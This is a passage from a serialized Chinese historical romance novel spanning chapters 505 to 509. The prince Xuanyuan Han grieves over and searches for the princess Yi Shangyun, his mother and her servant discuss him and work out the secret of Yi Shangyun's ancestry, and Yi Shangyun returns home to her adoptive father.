似是想了许久,终是想不明白,于是低声默默地问:“温柔善良,热情似火是你,狠心决绝无人能及亦是你,到底哪个才是真正的你?究竟你为何要如此对待本王?难道本王真的不如那个至极妖艳的南安太子吗?又或许,只因为他是南国未来的王?但你又怎知,未来有一天,本王便不会君临天下?” 语气中渐渐透出几分阴冷,最后像是暗暗做好了某个决定,只见他深深地吸了口气后,如释重负地说:“既然如此,那本王便成全你,愿你与那南安太子永偕白首。本王发誓,一定会把你忘得干干净净,这辈子,本王会当从来都没有遇见过你。” 话刚说完,兀自回头缓缓挪步来到书案边,将上面摆放着的两只香囊,那正是他每日无时无刻不都在日思夜想的人所赠与他的。 他走过去轻轻地将其拿起,最后又看了一眼,终于鼓足勇气,正准备拿去丢掉。偌大寂静的宫殿里,忽然传来一阵匆匆的脚步声。 放眼过去一看,见进来的正是他的副将程良,于是便又将那两只香囊放回到了案上。 程良远远的察觉到他的举动后,心中不禁顿了一下。 只见轩辕翰转而落座到了茶几边,兀自斟了一盏热茶,放到嘴边轻抿了一口,淡淡地问:“你如此行色匆匆,发生了何事?” 程良垂首下去不敢看他的眼睛,犹犹豫豫地禀报说:“殿下,我们安排在东宁公主身边监视的暗卫传来消息说……东宁公主……她……她失踪了。” 明明方才刚刚下定了决心这辈子都不会再在乎她,可一听到关于她的消息,始终还是无法控制自己的情绪。 他顿时将手中的茶盏重重地拍在了面前的茶几上,朝程良瞪大了眼睛质问道:“怎么办事的?” 见此,程良自是不敢再出声,似乎也不知道自己还能说些什么?亦或做些什么? 当初这个主子在东宁国被衣上云几次三番那般的羞辱,差点儿搭上自己的性命。纵使衣上云还怀上了易三少的孩子,这个主子愤愤离开的时候,亦没有撤掉一直暗中守护在衣上云周围的自己的亲信。 尽管主子当时说是为了监视东宁国的一举一动,可就算他骗得了任何人,也骗不了程良。 程良心里怎会不知,发生了这种事情,其实主子的心里是多么的难受。那般一个冷若冰山的人好不容易爱上一个人,那种从云端跌落的心情,若是没有亲身经历过的人,是绝对不会体会到他有多痛的。 自打从东宁被拒,回到秦王府,主子便推掉了所有朝中大臣的茶聚邀请,整日将自己关在府里闷闷不乐,有时候竟还喝的酩酊大醉。 过去的那些年,主子可从来都没有如此嗜过酒呢!他虽嘴上不说,可程良却什么都明白,那是他彻底的痛不欲生。 然虽心疼,可他却知道自己一点儿办法也没有。因为有些伤,是无药可救的。 他只能静静地陪在他身边,等他渐渐自愈,慢慢找回自己丢失的盔甲。 思绪无边地蔓延,主人的声音再次在他耳边响起:“这到底是怎么回事,一个大活人,那么多人监视着,怎么会无端端的失踪?这是多久之前的事了?” 程良忽地回过神来,说:“自从殿下离开后,易三少便命人将整个延福寺里里外外都把守得密不透风,我们的人根本就探不到里面的任何消息。直到后来易三少也离开后,我们的人才打探到东宁公主早已经不在寺里了,里面的人都说公主早已失踪不知了去向。我们的人一直找到现在,都快半月了,还没有找到半点音信。” “你说什么?都已经有半月了?”轩辕翰只觉自己快要发疯了,这么多日子以来,自己好不容易慢慢冷静了下来。以为对她,已经能够做到坦然,竟不想还是这般地放不下。 程良无奈地点了点头。 “你说易三少也离开延福寺了?”轩辕翰紧接着追问。 “说是也去寻公主的消息了?”程良答。 轩辕翰听了,将藏在袖子里的两只拳头紧紧握起,沉声狠狠地说道:“易三少,她都已经为你这样了……你为何还不好好珍惜她,为何没有好好看着她?她若是有个什么闪失,本王……” “殿下,那现在我们该怎么办?”程良追问道。 就在这时,殿外传来一阵少女轻盈的脚步声,伴随着声音越来越近,紧接着殿内响起少女清脆的声音:“奴婢欢儿,参见秦王殿下。” 轩辕翰一看清来人,先开口询问道:“母妃近日可还安好?” 少女答道:“回秦王殿下的话,太妃娘娘一切安好,殿下请安心。只是多日不见殿下,太妃娘娘十分想念。所以特意让奴婢过来告诉殿下,天黑后,请殿下过去一道用晚膳。” “本王知道了,本王待会儿便过去。”轩辕翰答应道。 少女传完话,便朝其极为恭敬地行礼后,从殿内一步步退了出去。 程良还在原地里待命:“殿下……” 一时间里,思绪如麻地凌乱不堪,轩辕翰也不知道事到如今,自己到底该何去何从?索性便想要好好冷静冷静,于是转移了话题,吩咐程良道:“替本王更衣,去母妃那里。” 程良只能领命,道:“是。” 夜幕降临,府中到处一片灯火通明。 主仆俩很快便来到了纯太妃的住所,紫和轩。 轩辕翰一进门,便朝太妃行礼:“儿臣给母妃请安!” “多日不见,皇儿消瘦了不少。快来,母妃命人做了些皇儿平日里喜好的吃食,快来尝尝,看看可还都合口?” 轩辕翰上前落座在纯太妃身旁,纯太妃亲自盛了一碗银耳桃花羹,递到轩辕翰的面前,欣喜地道:“皇儿,母妃近日总能听得院子里有喜鹊在枝头上叫个不停。想必,秦王府里,一定是要有喜事临门了。” 轩辕翰接过尝了一口,应道:“母妃所言极是。儿臣此生能守得母妃归来,乃儿臣这辈子最大的幸事。想必,因此而招至了喜鹊,此乃的确是秦王府之大喜也!” 纯太妃又细心地夹起一块儿金灿灿,做的精致极了的酥肉,一边放到轩辕翰的碟子里,一边笑着说道:“皇儿打小便聪慧过人,你知道母妃说的不是这个。” 见轩辕翰的脸色忽然变得严肃起来,纯太妃遍知自己所猜无疑,于是便想要疏导儿子,索性说道:“打从前段日子里,皇儿从东境查勘疫情回府后,便见你一直闷闷不乐。母妃猜想,一定是因了那东宁公主,对不对?” 闻此,轩辕翰手里的筷子忽然顿住。显然,他什么都瞒不过纯太妃的眼睛,只能默认。 纯太妃继续说:“如今,韶华阁里的那位,还有天骄,母妃把整个秦王府的角角落落都已经给你清理的干干净净。你也早就已经过了弱冠之年,若是真的喜欢,放不下。就把人早点迎进来,趁着母妃身子骨尚且还算硬朗,过两年早点生个一男半女出来。母妃兴许还能帮你带个几年。这虽说人生百年,其实也只不过是一转眼之间。缘份来了,就要紧紧抓住,毕竟一辈子能遇一良人,实属不易。” 或许是纯太妃所说的某些词语,触动了轩辕翰此刻本就敏感着的某处神经,他忽然开口说道:“母妃,儿臣忽然想起,还有紧急公务要处理。母妃请慢用,儿臣改日再来向母后请安。” 说着,轩辕翰便起身告退,快步离开。 程良紧随其后跟了出去。 纯太妃看着儿子匆匆离去的背影,知道儿子与心上人之间一定是遇到了什么解不开的难题,于是低低地叹了声气:“哎……” 第五百零六章:月儿明,风儿轻 见轩辕翰心中已然如此难过,纯太妃心疼地哪里还有半点儿胃口,于是无力地摆了摆手,一众婢女们便纷纷上前来开始撤掉宴席。 听到主子重重的叹息声,张嬷嬷一边将其搀扶起身到靠窗边的软榻上落座,一边亦是忧心忡忡地道:“娘娘,殿下这次打从东境回来之后,仿佛变了个人似的。除了每日晨起练剑和早朝不变外,其余时间几乎是整日里大门不出,二门不迈。看着心里总是闷闷不乐,一副愁容不展的模样甚是让人心疼。听闻近日里竟还接连几日夜夜酗起酒来。殿下打小便是极其自律的人,可从未如此过啊。若是再这样继续下去,怕是会伤了身子了要!” 纯太妃一边落座,一边思量着张嬷嬷的话,情不自禁地又发出一声颇为无可奈何的叹息道:“唉!这俗话说得好‘知子莫若母。’皇儿变成现如今这个样子,本宫又岂会不知?岂会不担心呢?” 事实上,自打这次轩辕翰从龙虎城回到秦王府后,纯太妃早已发现他有些不对劲。 于是,曾经多少个不眠的夜晚,她带着欢儿,俩人一起悄悄地来到林月轩。 可每每当她站在殿外,远远的看着轩辕翰一个人面对着孤独的烛火,失神落魄地一杯接一杯倒满又灌下手里的苦酒。那时,仿佛自己却什么都做不了,她不知道有多心疼自己的儿子。 想起这令人心酸无助的一幕幕,纯太妃只觉自己心中对于儿子心里的苦颇为感同身受:“两个相爱的人却不能在一起,那是对一个人一生中最大的折磨。” 遂顿了顿,纯太妃开口说:“皇儿的心,实在是太悲伤了。本宫又不得替其排解之法。在他成长的这些年中,本宫缺席的太多,太久。或许皇儿不想让本宫为他担心,致使有许多话,他不愿意说于本宫听,本宫也不知道该如何走进他的内心?” 话说至此,眼里忽然闪现过一道光,说道:“当初本宫还以为,等他从东境回来的时候,或许便会将那个永宁公主一同带回西秦来。虽然早就知道她是敌国公主,可只要皇儿喜欢,本宫便就能接纳。甚至本宫都已经为此做好了准备,与宫里的那两位去对抗。如此,也总算是能让有情人终成眷属。这辈子,只要皇儿开心,还有什么是本宫不能妥协的呢!” 可显然这道光,有如黑夜里的昙花一现,转瞬即逝,下一秒,便是眉头深深锁起:“可没想到……事情远远没有我们想的那么简单。那位传闻中的永宁公主,的确是不凡。在我泱泱西秦,乃至于整个灵空,试问有多少名门闺秀梦寐以求地想要得到吾儿的青睐,可这位永宁公主却……” 默想了一瞬,纯太妃显然出乎意料极了:“原本本宫以为,他们之间乃是两情相悦,天作之合,不想那永宁公主,竟然在皇儿与母国之间,当真最后是狠心放弃了皇儿,选择了守护自己的母国!此举,还当真是令人生出几分敬佩来。” 纯太妃一边说,一边若有所思着,语气里,眼神中俱都透露出对衣上云的不尽钦佩和更大的兴趣。 “老奴不懂得什么大道理?老奴只是心疼秦王殿下,见不得殿下如此伤心难过?”张嬷嬷却道。 纯太妃听了回过神来,扭头认真地看了看她的脸,以及其不知何时早已经是斑白的鬓角,稍作思量后,低头缓缓伸过手去将张嬷嬷那一双饱经风霜的手紧紧握住。 过了一会儿,对其语重心长地说:“先皇过世得早,本宫这一辈子有你,是本宫最大的幸运。这些年,本宫不在皇儿身边,一切都多亏了你。可就是……” 不知想起了什么,纯太妃忽然声音变得哽咽,不得已顿了顿,遂掏出锦帕来赶快掩住鼻翼,待情绪稍缓,才继续道:“可就是误了你的一辈子呀!你为了本宫,为了秦王府,当年放弃了唯一被放出宫的机会,也就放弃了自由,放弃了为人妻,为人母,生儿育女的机会,实在是太委屈你了。” 纯太妃说着,与张嬷嬷俩人久久互相凝望着对方的眼睛,眼角似乎都有泪花在闪烁。 “娘娘言重了,老奴这一辈子能遇到娘娘这样的主子,那才是老奴几世修来的福分。” 过了会儿,张嬷嬷亦噙着泪水回忆着说:“那年寒冬,天格外地冷。若不是娘娘派太医出宫给我那世上唯一的姐姐瞧病,我那姐姐腹中的双生子是万万不可能生下来的。这些年,娘娘从未将老奴当下人看过,有主如此,老奴何来委屈可言?若有下辈子,下下辈子,老奴依然是娘娘的人,只认娘娘一个主子。” “张嬷嬷……”纯太妃听了,将双手更加握紧了一些,此时已然不知还能再说些什么? 可张嬷嬷依旧担心极了:“老奴知道殿下是娘娘的全部,若这样下去,可该如何是好?” 许是张嬷嬷方才的一番的话,重新给了纯太妃一丝重新振作起来的力量。 纯太妃想了一瞬,似乎重新鼓足勇气来,于是坚定地说:“张嬷嬷,你与本宫,我们都应该相信殿下。他已经长大了,他没有那么脆弱,一定能跨过这道坎。我们给他些时间,在这之前,我们唯一能做的,就是在他的身边陪着他,相信他。” 说完,纯太妃将目光缓缓移向了窗外的幽幽夜色。 此时,已是月上树梢的时分,秦王府偌大寂静的院子里,月儿明,风儿轻,一切都是那样的惬意。 追随着主子的目光,看着主子脸上重新燃起的信心,张嬷嬷也决定打起精神来,于是信誓旦旦地道:“娘娘说的极是,咱们殿下是骁勇无敌的战神,就连死神都惧怕他,何况一个小妮子呢。老奴明白了,老奴陪着主子,我们一起陪着殿下,一辈子再也不分开!” 至此,主仆俩终于一起在心里各自默默地舒了口气。 云卷云舒,一道光撕开云雾泄下,瞬间照亮了大地,天亮了。 衣上云紧赶慢赶,终于风尘仆仆地站在了自己许久以来心心念念想要到达的地方。 看到她熟悉的不能再熟悉的门匾上那三个极醒目的大字,依旧是那样的威严、气派、尊贵不减半分,她一袭鹅黄色长裙,背着简单的行囊默默地低声一字一顿,念道:“秦,王,府。” 一直担心因为自己的关系而失手,对璟帝给轩辕翰所悉心布置下的东宁之行的整个夺城计划终究是心慈手软,以失败告终了的轩辕翰回国后将会是怎样惨淡的亡命天涯的生活? 尔今直到这一刻亲眼目睹了这一切,秦王府依旧威严气派地矗立着,她才终于放下了心。 激动不已地自言自语道:“谢天谢地,看来殿下应该没有被皇上责罚。殿下,他如今总算是恢复了本该属于他的生活。” 回忆起过往俩人一段段或是甜蜜,或是苦楚的瞬间,不知最后想起了什么,顿时,脸上浮起一脸忧愁:“可是,事到如今,我又有何颜面,该如何面对殿下呢?” 许是心里还没有准备好,于是先盘算着说:“算了,我还是先回一趟城西衣府吧。许久未见父亲母亲,还有燕儿了,先去看看他们,之后再另做打算吧。” 既然已经做好了决定,心里虽然有些不舍,她再次远远地朝门前张望了一会儿,并未看到所念之人的身影,却又那样的无可奈何,只能缓缓转身,准备踱步离去。 刚一转身,三步两回头,有些出神,没走几步,便与平日里习惯了早起亲自上街买菜刚回来的张嬷嬷撞了个正着。 衣上云连忙弯腰下去,一边帮其捡拾起掉落在地上的竹篮里的菜,一边连连致歉:“对不起,对不起!” 张嬷嬷亦同她一起一边捡拾,一边道:“你这丫头,一大早是从哪里冒出来的?怎么走路都不带眼睛看路的吗?这幸亏是我老太婆人没事儿,这要是万一被你撞出个好歹来可怎么办?” 衣上云依旧不抬头,只歉声连连:“对不起,对不起,我不是故意的……” 直到俩人拾起所有掉落的蔬菜后,张嬷嬷起身一抬头,正准备继续一顿好好教育,却是一看见她的脸瞬间便愣住了:“你……你是?” 衣上云亦是一看对方的脸,便认出了那是秦王府的人,顿时开口否认道:“我,我不是。” 张嬷嬷围着她转了一圈,将她全身仔仔细细地打量了一番后,仍然怀疑地问:“你不是?” 衣上云矢口否认:“不是。” 生怕自己再多说一句话便会暴露身份,于是便最后说了句:“对不起,老人家,我急着回家,您要是没什么事的话,我便告辞了!” 之后,便落荒而逃。 看着她仓皇离去的背影,张嬷嬷纳闷极了地说:“看这身形,怎么那么像一个人……” 正想着,程良走出门,兀自来到了张嬷嬷的身边,问:“张嬷嬷,你站在门口做什么,怎么不进去?” 张嬷嬷说:“我刚买菜回来正准备要进去呢,看到一个姑娘在这里鬼鬼祟祟地,可那姑娘,我怎么越想,越像是在哪里见过?” 程良笑了笑,道:“这大街上的姑娘来来去去整日里多了去了,许是你老人家一大早没睡醒看花眼了吧?” 张嬷嬷纳闷自己怎么就是想不起:“去去去,少拿我老婆子寻开心。刚才这姑娘,真的是很眼熟,可就是忽然间想不起来究竟是在哪儿见过?” 程良一边接过张嬷嬷手里的竹篮,一边将其往回扶,一边走,一边说道:“好了好了,不开玩笑了,说正事。” 第五百零七章:她回来了 程良一边接过张嬷嬷手中的菜篮,一边将其往府中扶回,一边走,一边说道:“好了好了,不开玩笑了,说正事。” 张嬷嬷打趣问:“你能有什么正事?莫不是终于看上了哪家的姑娘?让我老婆子去给你上门说媒吗?” 程良道:“我倒是想呢,可是谁家姑娘看得上我呀!大老粗一个。” 张嬷嬷瞪了他一眼:“谁不知程将军乃西秦国一人之下,万人之上的秦王殿下身边最得意的副将,人人巴结你还来不及,竟敢轻看你?是你自个儿要求太高了,说实话,你年纪也不小了,早该成个家了。” 程良思虑片刻,世人谁不想有个老婆热炕头,可是眼下主子的大业未成,自己又哪来儿女私情的心思呢! 仿佛对于普通人最平常不过的生活,对于自己来说却是那般的奢侈,高不可攀。于是他低低地叹了口气,转移了话题:“不说我了。大清早我来找嬷嬷,乃是因为殿下……” 未及其将话说完,赵嬷嬷顿足停下,颇为认真地看着程良的眼睛,急切的问:“殿下?殿下他怎么了?太妃呢?” 说着,便加快了脚下的步伐。程良见赵嬷嬷着急了,忙将其拉住解释:“嬷嬷不要担心,太妃娘娘在府里一切安好,只是殿下……殿下他又要出远门了,这次可能还得有一段儿时日。我来找嬷嬷,是想交待您老人家在殿下外出不在府里的这段时间,嬷嬷务必好好照顾太妃娘娘,多加提防小心外面的每一个来人。” 张嬷嬷见程良说话如此认真,听了不禁心里顿时一惊,道:“照顾好娘娘,自是老奴的本分,你不必担心。只是你刚才说什么?殿下……他又要出远门?” 程良还未开口,想到近日她每每出门总能在城里的茶馆,大街小巷到处都听到人们在议论说灵空大陆的局势愈来愈紧张,怕是很快将要迎来一场前所未有的恶战,张嬷嬷便已兀自猜想着激动地道:“可是今日早朝上又发生了什么大事?难道,是皇上又要殿下上战场了不成?” 程良急忙阻止她的思绪:“不是不是,早朝上并未发生什么?嬷嬷你不要胡思乱想,不是要打仗。” 程良心里默想着:其实,这个时候,他倒觉得要真只是打仗也就好了。 张嬷嬷一听,顿时松了口气,方才接着继续往前走,可心里依然纳闷着:“不是打仗?那殿下出远门去做什么?殿下这回又要去哪里?” 程良默想了一瞬,眉头皱起着说:“实不相瞒,我们昨日得到消息,说永宁公主……失踪了!殿下,他嘴上不说,可心里始终还是放不下她。知道了这件事后,他更加寝食难安了。昨晚不再酗酒,却是独自在殿内不眠不休地坐了一夜。天一亮,像是魔怔了一般,只说了句要出去寻,怎么都拦不住?” 张嬷嬷似乎一时还未从刚才自己所制造的惊吓里反应过来,只是有些不解地道:“这多事之秋的年头,怎么什么稀奇古怪的事情都有。堂堂一国养尊处优,尊贵不凡的公主,怎么会失踪……” 正说着,好像又忽然反应了过来,忙止住步看着程良的脸,认真地问:“等会儿,刚才你说什么公主?” 程良再次重复了一遍:“东宁国,永宁公主!半月前,她从龙虎城疫区莫名失踪,至今都还还没有找到。” 张嬷嬷稍一思考,回忆道:“就是那个城西药师府上的废柴丑女,那个生来就被遗落在我们西秦,到了东宁国后,摇身一变成为东宁国最尊贵的嫡公主,也是害得我家殿下整日魂不守舍,茶不思饭不想的永宁公主?” “正是。”程良低低地点了点头。 不想张嬷嬷忽然惊叫了一声:“哎呀……” “嬷嬷你怎么了?”程良关切地问。 张嬷嬷瞬间恍然大悟:“我想起来了,终于想起来了!” “嬷嬷你想起来什么了?”程良不解地道。 张嬷嬷忽地转身,伸手指着俩人身后门口处,说:“刚才那个女子……” “刚才那个女子,哪个女子?”程良一脸疑惑。 张嬷嬷道:“哎呀,就是方才在门口撞翻我的菜篮子的那个女子。” 看着程良久久反应不过来她到底在说什么,呆呆的眼神,张嬷嬷急切地说:“那个女子,方才我就说好像在哪里见过,眼熟得很。可就是一时半会儿怎么都想不起来。这会儿你一说,我便马上想起来了,她不就像极了城西衣府的那个姑娘……” 闻此,未及其将话说完,程良顿时瞪大了眼睛,将其打断朝其确认:“嬷嬷你说什么?你说你刚才看到了……永宁公主?衣姑娘?您确定你没有看错人么?” 张嬷嬷心里当然是有一点儿疑惑的:“确定……可又不确定。她的脸,怎么不丑了?那张脸,我总有一种似曾相识的感觉,好像在很久很久以前在哪里见过?” 程良一时间里又惊又喜,道:“她的脸,早在北烈的时候就都已经好了!” 张嬷嬷听了惊讶不已,这才仔细回忆起自己方才所见到的那张脸,不禁赞叹道:“没想到,恢复了容貌的衣大小姐,还真是世间少有,倾国倾城的大美人啊!” 程良似乎并没有把这句赞美的话听到心里去,只顾着急地追问:“你还啊什么啊呀,那姑娘人呢?嬷嬷可知她去了哪里?” “那姑娘她……”张嬷嬷忽地回过神来,一边说着,一边便慌忙地与程良俩人一道举步急急复又迈出了大门。 然女子却早已消失在茫茫人海的街头。 尽管如此,程良依旧欣喜地道:“这还真是踏破铁鞋无觅处,得来全不费工夫。她一定是后悔自己的所作所为,没准儿便是偷偷回西秦来想给殿下一个惊喜,她这是想要跟殿下认错么?” 在西秦,除了衣府,她没有其他地方可去。这会儿,想必一定是回城西衣府去了。 程良越想心里越乐,迫不及待地说:“她回来了,她真的回来了,我要赶快回去把这个消息告诉殿下去!” 话音未落,便跨过门槛,朝承华殿方向疾步飞奔了回去。 “我也得将这个消息赶快回去禀告太妃娘娘。”张嬷嬷亦拎着竹篮,急急进了秦王府大门。 而此时,在纯太妃的紫和轩里,香炉中正飘出来幽香阵阵。 “调香,首先是要综合考量香的用途、香型、品位等因素,再根据这些基本的要求选择香料或药材,按君、臣、佐、辅进行配伍。只有君、臣、佐、辅各适其位,才能使不同香料尽展其性。诸如衙香、信香、贡香、帷香以及疗病之香,各有其理,亦各有其法,但基本都是按五运六气、五行生克、天干地支的推演而确定君、臣、佐、辅的用料。” 纯太妃正在香炉边一边亲手优雅而又娴熟地制着新香,一边对儿子介绍道。 轩辕翰有些感叹,说道:“多年过去,没想到母妃还是如此痴迷于调香!” 纯太妃痴迷地凝望着那袅袅香烟,轻笑着道:“能随时焚一炉自己亲手所制之世间独一无二的香,是一件幸福的事。你看它细烟轻聚,再参它香远韵清,就会发现,人间清旷之乐,不过于此。” 然轩辕翰当然没有她如此地参透尘世,见儿子忽然沉默了下来,便停下了手里的动作,与其一道走过去落座在软榻边,说:“皇儿,母妃知道你与永宁公主之间情到深处,难以自拔。” 亲手为他斟了一盏热茶递到手里,她心疼极了,刚闻轩辕翰此次前来辞行,是为了要出去寻回衣上云,身为过来人,她心里虽然知道这个时候哪怕她说什么都是没有用的,却依然尝试语重心长地劝说着。 “打小,你便是一个表面上看起来冰冷,内心里,却是比谁都温暖的孩子。母妃至今还清晰地记得,那年你才三岁,母妃被太后刁难,施以杖刑,你小小年纪硬是以自己弱小的身子为母妃挡着,令那些施刑的人望而生畏。当时你那副毫无畏惧,面无表情的样子,就和你今天一模一样……” 轩辕翰默默地听着,脸上当真是看不出任何表情,却是令人深觉不怒而威。 见此,纯太妃愈加心疼:“母妃知道你所做的一切都是为了她好。若是那个永宁公主对皇儿你也同样一心一意,无论发生什么都能做到坦然相对,不离不弃,母妃倒也没什么好说的。原本母妃就已经做好了准备,只要皇儿欢喜,母妃就欢喜。可显然,在你与她的母国之间,她选择了后者。所以,母妃想,当她在做出这个决定的时候,她也希望你能尊重她的选择。如此,是不是皇儿你不要去打扰她,才是真的对她好呢?!” 在此之后很长的一段时间里,轩辕翰与纯太妃母子俩人再无一人说话。 一室寂静,不知过了多久,轩辕翰忽然冷冷地开了口说:“母妃,儿臣与她之间,想要做到互不打扰,这辈子,已经是不可能的事了,就这样结束,儿臣不甘心。” “皇儿,你这又是何苦呢?”纯太妃一听,震惊极了! 第五百零八章:罢了,一切都随他去吧 “皇儿,你这又是何苦呢?” 轩辕翰深吸了一口气,沉声道:“就在昨日,本来儿臣已经决定要将她彻底忘记。直到传来消息说,她从龙虎城疫区失踪了。儿臣仿佛已经停止跳动不知多久的心间忽觉一阵刺痛,。原来,我还活着。天涯海角,人海茫茫,皇儿从来都不曾想过会有那样的一个人,让你如此欲罢不能。” 说着顿了顿,他将目光缓缓移到纯太妃脸上,无比坚定地道:“所以,儿臣便想,既然这般放不下,那就索性即便日后与她相看两相厌,儿臣这次也要不惜一切代价,把她留在身边,哪怕就算她一辈子恨儿臣,儿臣也要这样做。” “皇儿,你……”纯太妃欲言又止,不想这个儿子竟然对衣上云的感情已经到了这个地步,听了这段话,她着实惊呆了! 就在母子俩人最后四目相对着,谈话最终还是彻底陷入僵局时,门外忽然传来一阵紧急的脚步声。 夺门而入的正是轩辕翰的副将程良,许是因为着急着想要告诉主子方才得到的这个好消息。所以并未察觉到此刻殿内里的气氛有些不对。 他兀自一近身到这对母子面前,抱拳急急行了个礼,便道:“殿下,不用找了,她回来了!” “你说什么?” “你说什么?” 闻声,轩辕翰与纯太妃俩人惊讶地一同瞪大了眼睛,异口同声道。 见此,程良急急咽了口口水,把话完整地说道:“是衣姑娘,她已经回来了!” 轩辕翰忽地立起身来,朝他追问:“这是从哪里得来的消息,刚刚你不是还在布置计划吗?” 程良欣喜不已,甚至忽然有些结巴:“殿下,此消息千真万确。衣姑娘,她真的是回西秦了,是……是张嬷嬷刚才亲眼所见。对,张嬷嬷……” 就在他正要转身去寻张嬷嬷来的时候,张嬷嬷手里刚好捧着一茶盘走了进来。 看到程良已然比自己脚力快太多先至,想必方才在大门外的事情,两位主子都已经知晓。 张嬷嬷心里想着,进门来先开口说道:“老奴给殿下请安,殿下今日怎么这么早便过来了。如此,正好能陪娘娘一道好好用个早膳。今天老奴特地准备了娘娘喜食的栗子酥糕和大枣红豆团云饼,还有银耳白玉羹……殿下正好也一起尝尝。” 轩辕翰此时哪里还有心思用膳,疾步上前到张嬷嬷的身边,认真地问:“张嬷嬷,你告诉本王,你是不是真的看到云儿了?何时在哪里见到云儿的?如今,可知她又去了哪里?” “云儿……衣姑娘……” 果然是这样,张嬷嬷嘴里缓缓重复着,假装回想一般,慢慢地朝后面的主子纯太妃看了过去,想要寻求一丝暗示。 纯太妃默想了一瞬,最后点了点头。 张嬷嬷这才将方才在回来的路上走到秦王府大门外时所发生的一切,朝众人娓娓道来…… 听完张嬷嬷的叙说,纯太妃眼睁睁看着儿子脸上自始自终始终都波澜不惊的反应,不知他到底在想什么,又在盘算什么? 于是,她正想开口说话:“皇儿……” 然轩辕翰却忽然三步并作两步,程良紧随其后与其一道急奔出了门,其身影霎时之间便消失地无影无踪。 看到这一切,张嬷嬷轻声开口,却欲言又止道:“娘娘,殿下他……” “罢了,一切都随他去吧!”纯太妃无可奈何地说。 早膳上,因为轩辕翰的原因,纯太妃几乎没怎么吃东西。 不过,从一大早在门外看到那张脸之后,张嬷嬷的心里却是愈来愈纳闷,终是没能忍住,便在一旁一边整理屋子,开口说道:“娘娘,今日有一事,老奴心里总觉得很是蹊跷。” “何事?”纯太妃正坐在软塌边一手撑着脑袋闭目养神,轻声地问。 张嬷嬷回忆着道:“城西衣府那姑娘,现如今恢复了容貌的那张脸,老奴总觉着像是在哪里见过,而且……好像是很久很久以前就见过。” “这世上的人,有的模样长得接近的也是有的。许是咱们都上了年纪了,经不起忆往昔,见故人了。”听到张嬷嬷忽然似是怀起了旧来,纯太妃感慨地道。 “不过,说起很久很久以前见过的一张脸……”然纯太妃听了,不知为何,却忽然想起了自己隐居时遇到的若曦来。 许久不见,也不知她现在是生是死,身在何方? 一念至此,纯太妃缓缓睁开眼睛坐起身来,说:“其实,在桃花店隐居的时候,本宫已经找到了她……” 话音未落,张嬷嬷不解地问:“她?娘娘在说谁?” 纯太妃顿了顿,道:“西秦守护者。” “什么?”张嬷嬷惊呆了。 一室寂静,主仆俩都陷入了各自对当年守护者入宫事件的痛苦回忆之中。 忽然,张嬷嬷炸出了一句:“娘娘,老奴想起来了!” 这句惊叫声,将深陷在痛苦回忆中的纯太妃顿时拉了回来。 张嬷嬷激动地道:“娘娘,老奴想起来了,这下彻底想起来了。那张脸,就是当年送入宫来的那张守护者后人画像上的脸。” “你说什么?”纯太妃不敢置信地道。 张嬷嬷用力地点头肯定自己的话。 纯太妃仔细理了理事情经过,最后深觉不可思议地道:“难道,若曦,她是城西衣府嫡女衣上云,如今东宁国的嫡公主永宁。” 顺着思路一直延伸,她简直不敢相信这个事实:“当年守护者后人在入宫的路上遇险却并没有死,莫非最后是流落到了东宁国,还做了东宁的嫡皇后?” “天呢!”纯太妃惊叹。 “一定是这样,一定是这样的。传闻西秦守护者代代以单脉相传,不死不灭,誓死守护我西秦大地。如此看来,果然不假。”张嬷嬷亦激动地说。 后知后觉到这一切,主仆俩互相面面相觑着惊呆了。 而此时在皇城的另一边,城西衣府衣药师门前的街市上。 衣上云走在熟悉的街道,物是人非,人来人往依旧热闹如往昔,却再也看不到一些人的笑脸。 每到一处,总有许多回忆浮现出来。 有人说“父母在,人生尚有来处,父母去,人生只剩归途。” 想想自己的生母,她生来便从未见过那个传说极其伟大却又颇为苦命的女人,就连自己的生父,也是刚刚相认没多久,还未来得及深入了解,享受真正的父爱,他便就撒手人寰。 如今的她,虽贵为公主,然实则却仿佛是世间的一粒尘埃,飘飘荡荡着浮在半空中,无处落地安放。 尔今再次回到衣府,这个自己真正长大的地方,竟忽然不知该如何面对这一切。 于是一边走,一边思量着,很快便来到了衣府的门前。 驻足停下,她默默地抬起头看着面前熟悉得不能再熟悉的那块门楣,衣上云心里默默地道:“千里迢迢,我,终于回来了!” 不知一个人孤零零地在门口站了多久,终于鼓足了勇气抬起一只脚来正准备上前去叩门。 “你是?”忽然从身后传来一熟悉的声音。 闻声,衣上云忽地转身。 “长姐?!怎么是你?”原来正巧是衣上俊从外面回来,一见果真是衣上云,衣上俊瞬间又惊又喜地上前迎她。 “俊儿!”再见到衣上俊,衣上云亦是心里感慨万千。 “长姐你是什么时候回来的?怎么回来的?”衣上俊虽嘴上疑惑连连,却不等衣上云回答只字片语,只自顾自便将其伸手一把拉着跨过了衣府大门。 一进门,衣上俊便一边往衣上坤的书房方向走,一边叫道:“父亲,父亲……你快出来,看看谁回来了?” 很快,这声音便吸引了书房内的人疾步奔到院子里。 许久未见,衣上坤定定地立在书房门口,满头的白发已然又增添了不少。 一出来,见到是自己整日里日思夜想的人终于回家。 愣了一瞬后,似是因为激动,不禁连嘴角都微微颤了起来,道:“原来是云……不,是公主殿下,您怎么来了?” 见衣上坤说着便要行礼下跪,衣上云忙上前将她扶住制止,自己则“扑通”一声,重重地跪了下来在其面前。 紧紧抱着他的腿感激不尽地说:“不,父亲大人,这里没有什么公主,只有您的女儿,云儿。昔日里,是女儿错怪您了,若不是父亲,女儿怕是早就没命了。女儿谢谢这些年父亲大人的养育之恩,大恩大德,女儿一辈子感激不尽。” 说着,便重重地在其面前连连叩起首来。 衣上坤一边将其拉起,一边连连阻止道:“这可万万使不得,使不得呀!公主乃金枝玉叶之身,岂能朝我下跪,快快起身,快快起身才是啊!” 衣上云坚持着道:“不,父亲您受得,您不受得还能有谁受得,今日,您一定要受下。” 衣上坤看着如今已然恢复了容貌,又找回了自己真正身世的衣上云,似是对于过去的所有一切终于释怀了,不禁满腹感慨万千…… 第五百零九章:雨夜离家 衣上云刚刚拜完,衣上坤便迫不及待地将她扶了起来说:“好了好了,这拜也拜过了,回来就好,回来就好啊!赶快……赶快起来,去明月轩看看你母亲,她可是每日都要去你的房间里亲自给你打扫屋子,在那儿念叨你呢!” 衣上云这才站起身来道:“离家的这段日子,女儿也在无时无刻不在挂念着母亲。那女儿先回明月轩去探望母亲,稍后再来看父亲。” “去吧。”衣上坤点了点头,道。 刚一出门,便与闻讯赶过来的兰姨娘撞了个正着,衣上云朝其曲膝行礼,道:“云儿见过姨娘,姨娘可还安好?” 